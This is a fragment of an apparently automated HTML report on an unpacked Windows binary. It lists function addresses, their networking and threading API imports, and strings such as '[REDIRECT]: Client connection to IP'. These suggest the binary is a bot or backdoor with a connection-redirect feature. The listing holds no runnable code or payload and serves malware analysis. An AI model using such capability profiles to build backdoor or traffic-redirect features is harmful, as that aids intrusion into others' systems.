<font color=brown></font></pre></td></tr><tr id="sub_406C33"><td><pre><a name="sub_406C33"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_406C33"><font size=+2>sub_406C33</a>(f465)</font>:<font color=darkgreen>
	WS2_32.getsockname</font>
<font color=brown>
	"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_40D7DF"><td><pre><a name="sub_40D7DF"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40D7DF"><font size=+2>sub_40D7DF</a>(f51e)</font>:<font color=darkgreen>
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.gethostbyaddr
	WS2_32.connect
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	WS2_32.closesocket
	KERNEL32.ExitThread
	KERNEL32.Sleep
	WS2_32.send
	WSOCK32.recv</font>
<font color=brown>
	"[REDIRECT]: Client connection	to IP: %s"...
	"[REDIRECT]: Failed to	start connection "...
</font></pre></td></tr><tr id="sub_410F55"><td><pre><a name="sub_410F55"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_410F55"><font size=+2>sub_410F55</a>(f657)</font>:<font color=brown>
	"-[Thread List]-"
	"%d. %s"
</font></pre></td></tr><tr id="sub_40DB3D"><td><pre><a name="sub_40DB3D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40DB3D"><font size=+2>sub_40DB3D</a>(f819)</font>:<font color=darkgreen>
	KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html>